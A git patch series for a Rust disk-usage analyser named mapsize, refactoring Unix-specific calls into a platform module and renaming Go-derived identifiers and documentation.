self.excludes.iter().any(|(is_path, p)| { if *is_path { path == p.as_slice() - || path.starts_with(p) && path.get(p.len()) == Some(&b'/') + || path.starts_with(p) + && path.get(p.len()).is_some_and(|&b| platform::is_sep(b)) || platform::glob_match(p, path) } else { platform::glob_match(p, name) @@ -662,7 +663,6 @@ fn err_msg(e: &io::Error) -> String { #[cfg(test)] pub(crate) mod tests { use super::*; - use std::os::unix::ffi::OsStrExt; use std::path::{Path, PathBuf}; pub struct TempDir(pub PathBuf); @@ -716,7 +716,7 @@ pub(crate) mod tests { } pub fn run_scan(root: &Path, o: Options) -> Tree { - let s = start(root.as_os_str().as_bytes(), o, Cancel::new()).unwrap(); + let s = start(root.as_os_str().as_encoded_bytes(), o, Cancel::new()).unwrap(); s.done() .recv_timeout(std::time::Duration::from_secs(60)) .expect_err("scan did not finish (deadlock?)"); @@ -797,7 +797,7 @@ pub(crate) mod tests { mk_tree(&root.0, 8, 3, 2); let c = Cancel::new(); let s = start( - root.0.as_os_str().as_bytes(), + root.0.as_os_str().as_encoded_bytes(), Options { workers: 2, job_buffer: 1, @@ -816,6 +816,7 @@ pub(crate) mod tests { assert!(t.stats.cancelled && t.stats.incomplete()); } + #[cfg(unix)] #[test] fn symlink_loops() { let root = TempDir::new("loop"); @@ -845,6 +846,7 @@ pub(crate) mod tests { } } + #[cfg(unix)] #[test] fn hardlinks_counted_once() { let root = TempDir::new("hl"); @@ -863,6 +865,7 @@ pub(crate) mod tests { assert!(t.node(0).tot_size < 200000); } + #[cfg(unix)] #[test] fn permission_errors_surface() { if unsafe { libc::geteuid() } == 0 { @@ -873,7 +876,7 @@ pub(crate) mod tests { let locked = root.0.join("locked"); std::fs::create_dir(&locked).unwrap(); std::fs::write(locked.join("f"), b"x").unwrap(); - std::fs::set_permissions(&locked, std::fs::Permissions::from_mode(0)).unwrap(); + std::fs::set_permissions(&locked, std::fs::Permissions::from_mode(0o000)).unwrap(); let t = run_scan( &root.0, Options { @@ -907,8 +910,10 @@ pub(crate) mod tests { assert_eq!((t.stats.excluded, t.node(0).files), (2, 1)); } + #[cfg(unix)] #[test] fn hostile_names_preserved() { + use std::os::unix::ffi::OsStrExt; let root = TempDir::new("names"); let names: [&[u8]; 6] = [ "日本語.txt".as_bytes(), diff --git a/src/snapshot/mod.rs b/src/snapshot/mod.rs index b935b57..cd5abf5 100644 --- a/src/snapshot/mod.rs +++ b/src/snapshot/mod.rs @@ -34,13 +34,13 @@ use crate::brand; use crate::inventory::{ Category, ErrKind, ErrorRecord, Kind, NodeId, Tree, MAX_ERROR_RECORDS, NUM_CATEGORIES, }; +use crate::platform::{civil_from_days, days_from_civil}; use crossbeam_channel::Receiver; use flate2::{bufread::GzDecoder, write::GzEncoder, Compression}; use serde::{Deserialize, Serialize}; use sha2::{Digest, Sha256}; -use std::fs::{self, File, OpenOptions}; +use std::fs::{self, File}; use std::io::{self, BufReader, BufWriter, Read, Write}; -use std::os::unix::fs::OpenOptionsExt; use std::path::{Path, PathBuf}; use std::time::{Duration, SystemTime, UNIX_EPOCH}; @@ -178,7 +178,7 @@ pub fn save(out: &mut dyn Write, t: &Tree) -> io::Result<()> { one_file_system: st.one_file_system, follow: st.follow.clone(), workers: st.workers as i64, - host: hostname(), + host: crate::platform::hostname(), generator: format!("{} {}", brand::NAME, brand::VERSION), }; let mb = serde_json::to_vec(&m)?; @@ -245,12 +245,7 @@ fn create_temp(dir: &Path) -> io::Result<(PathBuf, File)> { ".mapsize-{}.tmp", seed.wrapping_add(i.wrapping_mul(7919)) )); - match OpenOptions::new() - .write(true) - .create_new(true) - .mode(0o600) - .open(&p) - { + match crate::platform::create_private(&p) { Ok(f) => return Ok((p, f)), Err(e) if e.kind() == io::ErrorKind::AlreadyExists => continue, Err(e) => return Err(e), @@ -262,15 +257,6 @@ fn create_temp(dir: &Path) -> io::Result<(PathBuf, File)> { )) } -fn hostname() -> String { - let mut b = [0u8; 256]; - if unsafe { libc::gethostname(b.as_mut_ptr() as *mut libc::c_char, b.len()) } != 0 { - return String::new(); - } - let n = b.iter().position(|&c| c == 0).unwrap_or(b.len()); - String::from_utf8_lossy(&b[..n]).into_owned() -} - /// The decompressed body, fed in chunks by the decompressing thread. struct Body { rx: Receiver, String>>, @@ -674,7 +660,7 @@ impl GoTime { /// The same instant in the local time zone (as Go's time.Now()). fn local(self) -> GoTime { - let off = localtime(self.secs).map_or(0, |tm| tm.tm_gmtoff as i32); + let off = crate::platform::local_time(self.secs).off; GoTime { off, ..self } } @@ -785,26 +771,14 @@ impl GoTime { /// "2006-01-02 15:04" in local time. fn local_minutes(self) -> String { - let Some(tm) = localtime(self.secs) else { - return self.format(); - }; + let t = crate::platform::local_time(self.secs); format!( "{:04}-{:02}-{:02} {:02}:{:02}", - tm.tm_year as i64 + 1900, - tm.tm_mon + 1, - tm.tm_mday, - tm.tm_hour, - tm.tm_min + t.year, t.month, t.day, t.hour, t.min ) } } -fn localtime(secs: i64) -> Option { - let t = secs as libc::time_t; - let mut tm: libc::tm = unsafe { std::mem::zeroed() }; - (!unsafe { libc::localtime_r(&t, &mut tm) }.is_null()).then_some(tm) -} - impl Serialize for GoTime { fn serialize(&self, s: S) -> Result { s.serialize_str(&self.format()) @@ -822,28 +796,6 @@ impl<'de> Deserialize<'de> for GoTime { } } -/// Civil-from-days (Howard Hinnant). -fn civil_from_days(days: i64) -> (i64, i64, i64) { - let z = days + 719468; - let era = z.div_euclid(146097); - let doe = z - era * 146097; - let yoe = (doe - doe / 1460 + doe / 36524 - doe / 146096) / 365; - let doy = doe - (365 * yoe + yoe / 4 - yoe / 100); - let mp = (5 * doy + 2) / 153; - let d = doy - (153 * mp + 2) / 5 + 1; - let m = if mp < 10 { mp + 3 } else { mp - 9 }; - (yoe + era * 400 + (m <= 2) as i64, m, d) -} - -fn days_from_civil(y: i64, m: i64, d: i64) -> i64 { - let y = if m <= 2 { y - 1 } else { y }; - let era = y.div_euclid(400); - let yoe = y - era * 400; - let doy = (153 * ((m + 9) % 12) + 2) / 5 + d - 1; - let doe = yoe * 365 + yoe / 4 - yoe / 100 + doy; - era * 146097 + doe - 719468 -} - #[cfg(test)] mod tests { use super::*; diff --git a/src/textutil.rs b/src/textutil.rs index 0a2784f..82c822d 100644 --- a/src/textutil.rs +++ b/src/textutil.rs @@ -240,7 +240,7 @@ pub fn count(n: i64) -> String { out.push('-'); } for (i, c) in s.chars().enumerate() { - if i > 0 && (s.len() - i) % 3 == 0 { + if i > 0 && (s.len() - i).is_multiple_of(3) { out.push(','); } out.push(c); diff --git a/src/tui/keys.rs b/src/tui/keys.rs index 8adf699..ee1177e 100644 --- a/src/tui/keys.rs +++ b/src/tui/keys.rs @@ -10,8 +10,6 @@ use crate::inventory::{NodeId, SizeMode, Tree, NO_NODE}; use crate::platform; use crate::snapshot; use crate::textutil; -use std::ffi::OsStr; -use std::os::unix::ffi::OsStrExt; use std::path::Path; use std::rc::Rc; @@ -232,9 +230,9 @@ impl Model { } pub(crate) fn default_snapshot_name(root: &[u8]) -> String { - let p = Path::new(OsStr::from_bytes(root)); + let p = crate::platform::path_from_bytes(root); let base = match p.file_name() { - Some(b) => String::from_utf8_lossy(b.as_bytes()).into_owned(), + Some(b) => b.to_string_lossy().into_owned(), None => "root".into(), }; let wd = std::env::current_dir().unwrap_or_default(); diff --git a/src/tui/mod.rs b/src/tui/mod.rs index a4558f5..cb4826b 100644 --- a/src/tui/mod.rs +++ b/src/tui/mod.rs @@ -55,22 +55,14 @@ pub(crate) fn san(b: &[u8]) -> String { textutil::sanitize_bytes(b) } -fn local_tm(unix_nanos: i64) -> libc::tm { - let secs = unix_nanos.div_euclid(1_000_000_000) as libc::time_t; - let mut tm: libc::tm = unsafe { std::mem::zeroed() }; - unsafe { libc::localtime_r(&secs, &mut tm) }; - tm +fn local_tm(unix_nanos: i64) -> crate::platform::LocalTime { + crate::platform::local_time(unix_nanos.div_euclid(1_000_000_000)) } /// Formats a timestamp as a local date ("2006-01-02"). pub(crate) fn fmt_date(unix_nanos: i64) -> String { let t = local_tm(unix_nanos); - format!( - "{:04}-{:02}-{:02}", - t.tm_year + 1900, - t.tm_mon + 1, - t.tm_mday - ) + format!("{:04}-{:02}-{:02}", t.year, t.month, t.day) } /// Formats a timestamp as local date and time ("2006-01-02 15:04:05"). @@ -78,12 +70,7 @@ pub(crate) fn fmt_time(unix_nanos: i64) -> String { let t = local_tm(unix_nanos); format!( "{:04}-{:02}-{:02} {:02}:{:02}:{:02}", - t.tm_year + 1900, - t.tm_mon + 1, - t.tm_mday, - t.tm_hour, - t.tm_min, - t.tm_sec + t.year, t.month, t.day, t.hour, t.min, t.sec ) } @@ -95,10 +82,6 @@ pub(crate) fn fmt_stamp_now() -> String { let t = local_tm(now.as_nanos() as i64); format!( "{:04}{:02}{:02}-{:02}{:02}", - t.tm_year + 1900, - t.tm_mon + 1, - t.tm_mday, - t.tm_hour, - t.tm_min + t.year, t.month, t.day, t.hour, t.min ) } diff --git a/src/tui/model.rs b/src/tui/model.rs index b1f1873..fbba738 100644 --- a/src/tui/model.rs +++ b/src/tui/model.rs @@ -21,6 +21,7 @@ use crate::config::Settings; use crate::duplicate; use crate::filter::FilterResult; use crate::inventory::{NodeId, SizeMode, Tree}; +use crate::platform; use crate::scan::Scanner; use crate::snapshot; use crate::textutil; @@ -612,17 +613,20 @@ impl Model { let root = t.path_bytes(0); let rel: &[u8] = if pz == root { b"" - } else if let Some(r) = pz - .strip_prefix(root.as_slice()) - .filter(|r| root.ends_with(b"/") || r.starts_with(b"/")) - { + } else if let Some(r) = pz.strip_prefix(root.as_slice()).filter(|r| { + root.last().is_some_and(|&b| platform::is_sep(b)) + || r.first().is_some_and(|&b| platform::is_sep(b)) + }) { r } else { self.pending_zoom = None; return; }; let mut id = 0; - for part in rel.split(|&b| b == b'/').filter(|p| !p.is_empty()) { + for part in rel + .split(|&b| platform::is_sep(b)) + .filter(|p| !p.is_empty()) + { match t.children(id).find(|(_, n)| &*n.name == part) { Some((c, _)) => id = c, None => return, // not discovered yet diff --git a/src/tui/render.rs b/src/tui/render.rs index 73a7e13..1352ffb 100644 --- a/src/tui/render.rs +++ b/src/tui/render.rs @@ -272,9 +272,9 @@ impl Model { // Drop leading segments until the rest fits; keep at least the last. let total = |from: usize| { let mut w = 0; - for i in from..segs.len() { - w += tw(&segs[i].1); - if i > from { + for (k, (_, s)) in segs[from..].iter().enumerate() { + w += tw(s); + if k > 0 { w += tw(sep); } } diff --git a/src/tui/run.rs b/src/tui/run.rs index 2f683d6..b14e4e5 100644 --- a/src/tui/run.rs +++ b/src/tui/run.rs @@ -34,7 +34,7 @@ const RESTORE: &str = fn write_raw(s: &str) { let mut b = s.as_bytes(); while !b.is_empty() { - let n = unsafe { libc::write(1, b.as_ptr().cast(), b.len()) }; + let n = unsafe { libc::write(1, b.as_ptr().cast(), b.len().min(1 << 30) as _) }; if n <= 0 { return; } diff --git a/src/tui/tests.rs b/src/tui/tests.rs index e6ecb1a..c36ccc5 100644 --- a/src/tui/tests.rs +++ b/src/tui/tests.rs @@ -11,7 +11,6 @@ use crate::inventory::{category_for, ext, Kind, NodeId, Tree, FLAG_SCANNED}; use crate::scan; use crate::textutil; use crate::treemap::Block; -use std::os::unix::ffi::OsStrExt; use std::sync::{Arc, RwLock}; use std::time::{Duration, Instant}; @@ -630,7 +629,7 @@ fn live_scan_rendering() { .unwrap(); } } - let path = root.0.as_os_str().as_bytes().to_vec(); + let path = root.0.as_os_str().as_encoded_bytes().to_vec(); let start: StartFn = Arc::new(move |c: Cancel| { let s = scan::start( &path, -- 2.53.0 From 9179281a946ece205aa30bb9003939dea9693158 Mon Sep 17 00:00:00 2001 From: Andy Dixon Date: Thu, 8 Oct 2026 20:08:34 +0100 Subject: [PATCH 09/12] Describe behaviour directly instead of by reference to the Go version - platform::mode documents the on-disk mode-bit layout (bits 31..19 = d a l T L D p S u g c t ?, low 9 bits = permissions). - The snapshot module documents the LEB128 / zig-zag varints and the RFC 3339 JSON timestamps, and states that snapshots written by mapsize 1.x load unchanged. - Renames: GoTime -> JsonTime, go_duration -> fmt_duration, fixture testdata/go.msz -> testdata/v1.2.0.msz (a snapshot written by mapsize 1.2.0), loads_go_snapshot -> loads_1_2_snapshot. - --log / --log-level help says they are accepted and ignored. --- examples/bench.rs | 4 +- src/app.rs | 2 +- src/cancel.rs | 3 +- src/export.rs | 6 +- src/filter/lexer.rs | 2 +- src/filter/mod.rs | 2 +- src/filter/parser.rs | 14 +-- src/inventory/mod.rs | 2 +- src/lib.rs | 2 +- src/main.rs | 8 +- src/scan.rs | 3 +- src/snapshot/mod.rs | 126 ++++++++++--------- src/snapshot/testdata/{go.msz => v1.2.0.msz} | Bin src/textutil.rs | 12 +- src/treemap/mod.rs | 2 +- src/tui/bench.rs | 2 +- src/tui/model.rs | 4 +- src/tui/run.rs | 4 +- src/tui/tests.rs | 7 +- 19 files changed, 113 insertions(+), 92 deletions(-) rename src/snapshot/testdata/{go.msz => v1.2.0.msz} (100%) diff --git a/examples/bench.rs b/examples/bench.rs index 603dbd5..d4481fb 100644 --- a/examples/bench.rs +++ b/examples/bench.rs @@ -1,5 +1,5 @@ -//! In-process benchmarks mirroring the Go `go test -bench` suite -//! (internal/tui/bench_test.go, internal/treemap/treemap_test.go): +//! In-process benchmarks of the TUI model (render, navigation, filtering) +//! and the treemap layout: //! //! cargo run --release --example bench //! diff --git a/src/app.rs b/src/app.rs index 2cd420b..21dcd65 100644 --- a/src/app.rs +++ b/src/app.rs @@ -100,7 +100,7 @@ fn start_source( Ok((Some(s), t)) } -/// Cancels on SIGINT for report mode, like Go's signal.NotifyContext. +/// A token cancelled by SIGINT (Ctrl+C), for report mode. fn interrupt_cancel() -> Cancel { static CANCEL: std::sync::OnceLock = std::sync::OnceLock::new(); extern "C" fn on_sigint(_: libc::c_int) { diff --git a/src/cancel.rs b/src/cancel.rs index c529f9b..2ccd3be 100644 --- a/src/cancel.rs +++ b/src/cancel.rs @@ -1,4 +1,5 @@ -//! A clonable cancellation token, the equivalent of a Go context's Done. +//! A clonable cancellation token: a flag to poll plus a channel that is +//! closed on cancellation, so it can also be waited on in a select. use crossbeam_channel::{Receiver, Sender}; use std::sync::atomic::{AtomicBool, Ordering}; diff --git a/src/export.rs b/src/export.rs index 0673681..aecc55b 100644 --- a/src/export.rs +++ b/src/export.rs @@ -213,7 +213,11 @@ pub fn summary(w: &mut dyn Write, t: &Tree) -> io::Result<()> { textutil::size(r.tot_alloc), r.tot_alloc )?; - writeln!(w, "Elapsed {}", textutil::go_duration(st.elapsed()))?; + writeln!( + w, + "Elapsed {}", + textutil::fmt_duration(st.elapsed()) + )?; for (k, &c) in st.err_counts.iter().enumerate() { if c > 0 { writeln!( diff --git a/src/filter/lexer.rs b/src/filter/lexer.rs index f733893..b38e5bb 100644 --- a/src/filter/lexer.rs +++ b/src/filter/lexer.rs @@ -24,7 +24,7 @@ fn tok(kind: TokKind, val: &str, pos: usize) -> Token { } } -/// ASCII white space as Go's unicode.IsSpace sees it. +/// ASCII white space: space, \t, \n, \v, \f, \r. fn is_space(c: u8) -> bool { matches!(c, b' ' | b'\t' | b'\n' | b'\x0b' | b'\x0c' | b'\r') } diff --git a/src/filter/mod.rs b/src/filter/mod.rs index 094c015..2980d97 100644 --- a/src/filter/mod.rs +++ b/src/filter/mod.rs @@ -150,7 +150,7 @@ mod tests { ); } assert!(names(&tr, "[").is_empty()); // malformed bare glob matches nothing - assert!(names(&tr, "voilà\u{a0}x").is_empty()); // Go's lexer hangs on byte 0xA0 + assert!(names(&tr, "voilà\u{a0}x").is_empty()); // regression: a lexer once hung on byte 0xA0 (NBSP) } #[test] diff --git a/src/filter/parser.rs b/src/filter/parser.rs index 4de7ccb..c02110d 100644 --- a/src/filter/parser.rs +++ b/src/filter/parser.rs @@ -309,7 +309,7 @@ fn has_glob(s: &str) -> bool { pub(super) fn name_match(v: &str) -> Expr { let lv = v.to_lowercase(); if has_glob(v) { - // Go's filepath.Match never matches a malformed pattern. + // A malformed glob never matches. return if glob_ok(lv.as_bytes()) { Expr::Glob(Field::Name, lv) } else { @@ -319,8 +319,9 @@ pub(super) fn name_match(v: &str) -> Expr { Expr::Contains(Field::Name, lv) } -/// Reports whether pattern is well formed by Go's filepath.Match rules -/// (fnmatch, which does the matching, accepts anything). +/// Reports whether pattern is a well-formed glob (see +/// `platform::glob_match`): every `[` class is closed and non-empty, ranges +/// have both ends, and no escape is dangling. fn glob_ok(p: &[u8]) -> bool { // One possibly escaped character of a range; None if malformed. let esc = |mut i: usize| -> Option { @@ -461,13 +462,12 @@ pub fn parse_age(s: &str) -> Result { )) } }; - // Saturates where Go's time.Duration would overflow. + // Saturates beyond u64 nanoseconds (about 584 years). Ok(Duration::from_nanos((v * secs * 1e9) as u64)) } /// Parses "2006-01-02", "2006-01-02T15:04", "2006-01-02 15:04" (local time) -/// or RFC 3339, as Go's time.ParseInLocation with time.Local would, into unix -/// nanoseconds. +/// or RFC 3339 (with its own offset) into unix nanoseconds. fn parse_date(s: &str) -> Option { let b = s.as_bytes(); let fixed = |i: usize, n: usize| -> Option { @@ -492,7 +492,7 @@ fn parse_date(s: &str) -> Option { if sep != b'T' && sep != b' ' { return None; } - // Go's "15" hour accepts one or two digits. + // The hour may have one or two digits. let mut i = 11; let hl = if fixed(i, 2).is_some() { 2 } else { 1 }; let h = fixed(i, hl)?; diff --git a/src/inventory/mod.rs b/src/inventory/mod.rs index cda018b..eff8b1d 100644 --- a/src/inventory/mod.rs +++ b/src/inventory/mod.rs @@ -80,7 +80,7 @@ pub struct Node { pub files: u32, // recursive counts beneath (dirs excludes self) pub dirs: u32, pub errors: u32, // recursive error count beneath and including self - pub mode: u32, // Go fs.FileMode bit layout (see platform::mode) + pub mode: u32, // portable mode bits (see platform::mode) pub uid: u32, pub gid: u32, pub nlink: u32, diff --git a/src/lib.rs b/src/lib.rs index 2a8cf38..6fc0975 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -1,4 +1,4 @@ -//! mapsize: interactive terminal disk usage analyser (Rust port). +//! mapsize: interactive terminal disk usage analyser. pub mod app; pub mod brand; diff --git a/src/main.rs b/src/main.rs index 0642318..7b3056d 100644 --- a/src/main.rs +++ b/src/main.rs @@ -5,7 +5,7 @@ use mapsize::inventory::SizeMode; use mapsize::{brand, config, scan, snapshot, textutil}; use std::path::Path; -/// Flags taking a value (Go's flag package: `-f v`, `-f=v`, `--f v`, `--f=v`). +/// Flags taking a value, written `-f v`, `-f=v`, `--f v` or `--f=v`. const VALUE_FLAGS: &[&str] = &[ "workers", "follow-symlinks", @@ -71,8 +71,8 @@ Flags: --theme NAME colour theme: default, dark, high-contrast, mono --color MODE colour support: auto, truecolor, 256, 16, none --no-mouse disable mouse support - --log FILE write a debug log to FILE - --log-level LEVEL log level: error, warn, info, debug, trace + --log FILE accepted for compatibility; ignored + --log-level LEVEL accepted for compatibility (error, warn, info, debug, trace); ignored --version print version and exit " ); @@ -171,7 +171,7 @@ fn run(args: Vec) -> i32 { return fail(format!("invalid --log-level {l:?}")); } } - // ponytail: --log is accepted for CLI compatibility; the Rust port has no debug logging yet. + // ponytail: --log and --log-level are accepted for compatibility and ignored; there is no debug logging. let (depth, top, largest) = match (int("depth", -1), int("top", 0), int("largest-files", 0)) { (Ok(d), Ok(t), Ok(l)) => (d, t.max(0) as usize, l.max(0) as usize), diff --git a/src/scan.rs b/src/scan.rs index 812c565..760493d 100644 --- a/src/scan.rs +++ b/src/scan.rs @@ -651,7 +651,8 @@ impl Controller { } } -/// The OS error text without Rust's " (os error N)" suffix, matching Go. +/// The OS error text, lower-cased and without the " (os error N)" suffix, +/// e.g. "permission denied". fn err_msg(e: &io::Error) -> String { let s = e.to_string(); match s.rfind(" (os error ") { diff --git a/src/snapshot/mod.rs b/src/snapshot/mod.rs index cd5abf5..3c4efab 100644 --- a/src/snapshot/mod.rs +++ b/src/snapshot/mod.rs @@ -21,10 +21,22 @@ //! sha256 32 bytes over the uncompressed body //! ``` //! -//! Varints are Go's encoding/binary (zig-zag for signed). Nodes are written -//! in ID order; a parent always precedes its children, so a reader can -//! rebuild the tree in one pass and malformed input cannot create cycles. -//! Aggregates are recomputed on load, never trusted. +//! A uvarint is unsigned LEB128: 7 bits per byte, least significant group +//! first, the high bit set on every byte but the last; at most 10 bytes for +//! 64 bits. A varint (signed) is zig-zag encoded first, (v << 1) ^ (v >> 63), +//! so small magnitudes of either sign stay short: 0, -1, 1, -2 → 0, 1, 2, 3. +//! +//! In the meta JSON, timestamps are RFC 3339 strings with nanoseconds +//! (trailing zeros trimmed) and the writer's UTC offset, or "Z" for UTC, +//! e.g. "2026-10-08T10:40:00.123456789+01:00". An unset time is +//! "0001-01-01T00:00:00Z"; null is read as unset. +//! +//! Compatibility: snapshots written by mapsize 1.x load unchanged, and the +//! mode bits (see `platform::mode`) mean the same on every OS. +//! +//! Nodes are written in ID order; a parent always precedes its children, so +//! a reader can rebuild the tree in one pass and malformed input cannot +//! create cycles. Aggregates are recomputed on load, never trusted. mod compare; @@ -65,9 +77,9 @@ const FLAG_GZIPPED: u16 = 1; #[serde(default)] struct Meta { root: String, - created: GoTime, - start: GoTime, - end: GoTime, + created: JsonTime, + start: JsonTime, + end: JsonTime, complete: bool, cancelled: bool, files: i64, @@ -131,7 +143,7 @@ impl Writer { self.bytes(&b[..=i]) } fn varint(&mut self, v: i64) -> io::Result<()> { - self.uvarint(((v << 1) ^ (v >> 63)) as u64) // zig-zag, as encoding/binary.PutVarint + self.uvarint(((v << 1) ^ (v >> 63)) as u64) // zig-zag } fn str(&mut self, s: &[u8]) -> io::Result<()> { self.uvarint(s.len() as u64)?; @@ -154,11 +166,11 @@ pub fn save(out: &mut dyn Write, t: &Tree) -> io::Result<()> { let st = &t.stats; let m = Meta { root: String::from_utf8_lossy(&st.root).into_owned(), - created: GoTime::from_system(SystemTime::now()), - start: GoTime::from_system(st.start).local(), + created: JsonTime::from_system(SystemTime::now()), + start: JsonTime::from_system(st.start).local(), end: st .end - .map(|e| GoTime::from_system(e).local()) + .map(|e| JsonTime::from_system(e).local()) .unwrap_or_default(), complete: st.complete, cancelled: st.cancelled, @@ -233,7 +245,8 @@ pub fn save_file(path: &Path, t: &Tree) -> io::Result<()> { res } -/// Creates a new 0600 file named .mapsize-*.tmp in dir (like os.CreateTemp). +/// Creates a new private (0600 on Unix) file named .mapsize-.tmp in +/// dir, retrying on name collisions. fn create_temp(dir: &Path) -> io::Result<(PathBuf, File)> { let seed = SystemTime::now() .duration_since(UNIX_EPOCH) @@ -303,7 +316,8 @@ impl Body { Ok(self.buf[self.pos - 1]) } - /// Fills out completely (errors like io.ReadFull). + /// Fills out completely: "EOF" if the stream ends before the first byte, + /// "unexpected EOF" if it ends part way. fn read_full(&mut self, out: &mut [u8]) -> Result<(), String> { let mut done = 0; while done < out.len() { @@ -332,7 +346,7 @@ impl Body { fn varint(&mut self, what: &str) -> Result { let ux = read_uvarint(self).map_err(|e| format!("snapshot: bad {what}: {e}"))?; - let v = (ux >> 1) as i64; // zig-zag, as encoding/binary.PutVarint + let v = (ux >> 1) as i64; // undo zig-zag Ok(if ux & 1 != 0 { !v } else { v }) } @@ -349,7 +363,7 @@ impl Body { } } -/// encoding/binary.ReadUvarint over the body. +/// Reads a uvarint (LEB128) from the body; more than 64 bits is an error. fn read_uvarint(b: &mut Body) -> Result { let (mut x, mut s) = (0u64, 0u32); for i in 0..10 { @@ -611,32 +625,32 @@ fn valid_name(s: &[u8]) -> bool { !s.is_empty() && s != b"." && s != b".." && !s.iter().any(|&c| c == b'/' || c == 0) } -/// A Go time.Time as JSON carries it: unix seconds plus nanoseconds, and -/// the UTC offset it is written with. The default is Go's zero time -/// (0001-01-01T00:00:00Z). +/// A timestamp as the meta JSON carries it (see the module docs): unix +/// seconds plus nanoseconds, and the UTC offset it is written with. The +/// default is the unset time, 0001-01-01T00:00:00Z. #[derive(Clone, Copy, PartialEq, Eq, Debug)] -struct GoTime { +struct JsonTime { secs: i64, nanos: u32, off: i32, // seconds east of UTC; presentation only } -const GO_ZERO_SECS: i64 = -62_135_596_800; +const ZERO_SECS: i64 = -62_135_596_800; -impl Default for GoTime { +impl Default for JsonTime { fn default() -> Self { - GoTime { - secs: GO_ZERO_SECS, + JsonTime { + secs: ZERO_SECS, nanos: 0, off: 0, } } } -impl GoTime { - fn from_system(t: SystemTime) -> GoTime { +impl JsonTime { + fn from_system(t: SystemTime) -> JsonTime { match t.duration_since(UNIX_EPOCH) { - Ok(d) => GoTime { + Ok(d) => JsonTime { secs: d.as_secs() as i64, nanos: d.subsec_nanos(), off: 0, @@ -649,7 +663,7 @@ impl GoTime { } else { (-s - 1, 1_000_000_000 - n) }; - GoTime { + JsonTime { secs, nanos, off: 0, @@ -658,14 +672,14 @@ impl GoTime { } } - /// The same instant in the local time zone (as Go's time.Now()). - fn local(self) -> GoTime { + /// The same instant, presented in the local time zone. + fn local(self) -> JsonTime { let off = crate::platform::local_time(self.secs).off; - GoTime { off, ..self } + JsonTime { off, ..self } } fn is_zero(self) -> bool { - (self.secs, self.nanos) == (GO_ZERO_SECS, 0) + (self.secs, self.nanos) == (ZERO_SECS, 0) } fn to_system(self) -> SystemTime { @@ -677,7 +691,7 @@ impl GoTime { } } - /// RFC 3339 with trimmed nanoseconds, like Go's MarshalJSON. + /// RFC 3339 with nanoseconds (trailing zeros trimmed) and "Z" for UTC. fn format(self) -> String { let secs = self.secs + self.off as i64; let (y, mo, d) = civil_from_days(secs.div_euclid(86400)); @@ -704,7 +718,7 @@ impl GoTime { } /// Parses RFC 3339 ("2026-10-08T10:40:00.123456789+01:00"). - fn parse(s: &str) -> Option { + fn parse(s: &str) -> Option { let b = s.as_bytes(); let num = |r: std::ops::Range| -> Option { let p = b.get(r)?; @@ -762,7 +776,7 @@ impl GoTime { _ => return None, }; let secs = days_from_civil(y, mo, d) * 86400 + h * 3600 + mi * 60 + se - off; - Some(GoTime { + Some(JsonTime { secs, nanos, off: off as i32, @@ -779,18 +793,18 @@ impl GoTime { } } -impl Serialize for GoTime { +impl Serialize for JsonTime { fn serialize(&self, s: S) -> Result { s.serialize_str(&self.format()) } } -impl<'de> Deserialize<'de> for GoTime { +impl<'de> Deserialize<'de> for JsonTime { fn deserialize>(d: D) -> Result { - // null leaves the zero time, as in Go. + // null leaves the time unset. match Option::::deserialize(d)? { - None => Ok(GoTime::default()), - Some(s) => GoTime::parse(&s) + None => Ok(JsonTime::default()), + Some(s) => JsonTime::parse(&s) .ok_or_else(|| serde::de::Error::custom(format!("parsing time {s:?}"))), } } @@ -914,7 +928,7 @@ mod tests { } #[test] - fn read_uvarint_matches_go() { + fn varint_encoding() { for v in [0, 1, 127, 128, 300, 1 << 35, u64::MAX] { assert_eq!(read_uvarint(&mut body(&put_uvarint(v))), Ok(v)); } @@ -923,7 +937,7 @@ mod tests { read_uvarint(&mut body(&[0xff; 11])).is_err(), "overflow not detected" ); - // Zig-zag as Go's PutVarint. + // Zig-zag. for (v, enc) in [(0i64, 0u64), (-1, 1), (1, 2), (-2, 3), (i64::MIN, u64::MAX)] { assert_eq!(((v << 1) ^ (v >> 63)) as u64, enc); assert_eq!(body(&put_uvarint(enc)).varint("v"), Ok(v)); @@ -931,16 +945,16 @@ mod tests { } #[test] - fn go_time_json() { - let t = GoTime::parse("2026-10-08T10:40:00.123456789+01:00").unwrap(); + fn json_time() { + let t = JsonTime::parse("2026-10-08T10:40:00.123456789+01:00").unwrap(); assert_eq!((t.secs, t.nanos, t.off), (1_791_452_400, 123_456_789, 3600)); assert_eq!(t.format(), "2026-10-08T10:40:00.123456789+01:00"); assert_eq!( - GoTime { off: 0, ..t }.format(), + JsonTime { off: 0, ..t }.format(), "2026-10-08T09:40:00.123456789Z" ); assert_eq!( - GoTime { + JsonTime { off: -5 * 3600 - 1800, ..t } @@ -948,17 +962,17 @@ mod tests { "2026-10-08T04:10:00.123456789-05:30" ); assert_eq!( - GoTime::parse("2026-10-08T09:40:00.1Z").unwrap().format(), + JsonTime::parse("2026-10-08T09:40:00.1Z").unwrap().format(), "2026-10-08T09:40:00.1Z" ); assert_eq!( - GoTime::parse("0001-01-01T00:00:00Z"), - Some(GoTime::default()) + JsonTime::parse("0001-01-01T00:00:00Z"), + Some(JsonTime::default()) ); - assert_eq!(GoTime::default().format(), "0001-01-01T00:00:00Z"); + assert_eq!(JsonTime::default().format(), "0001-01-01T00:00:00Z"); assert_eq!( - GoTime::from_system(GoTime::default().to_system()), - GoTime::default() + JsonTime::from_system(JsonTime::default().to_system()), + JsonTime::default() ); for bad in [ "", @@ -967,17 +981,17 @@ mod tests { "2026-10-08T00:00:00", "2026-10-08T00:00:00.Z", ] { - assert_eq!(GoTime::parse(bad), None, "{bad}"); + assert_eq!(JsonTime::parse(bad), None, "{bad}"); } } - /// A tiny tree saved by the Go binary + /// A snapshot written by mapsize 1.2.0 of a tiny tree /// (tree/{a/x.iso 10000 B, a/b/note.txt, c/y.log 3000 B, c/link -> ../a}). #[test] - fn loads_go_snapshot() { + fn loads_1_2_snapshot() { let t = load_file(Path::new(concat!( env!("CARGO_MANIFEST_DIR"), - "/src/snapshot/testdata/go.msz" + "/src/snapshot/testdata/v1.2.0.msz" ))) .unwrap(); let r = t.node(0); @@ -997,7 +1011,7 @@ mod tests { assert_eq!(t.node(iso).size, 10000); assert_eq!(t.ext_name(t.node(iso)), "iso"); assert!(t.path_string(iso).ends_with("/tree/a/x.iso")); - // And it survives a Rust round trip unchanged. + // And it survives a save/load round trip unchanged. let again = load(&saved(&t)[..]).unwrap(); assert_eq!( (again.node(0).tot_size, again.len(), again.stats.start), diff --git 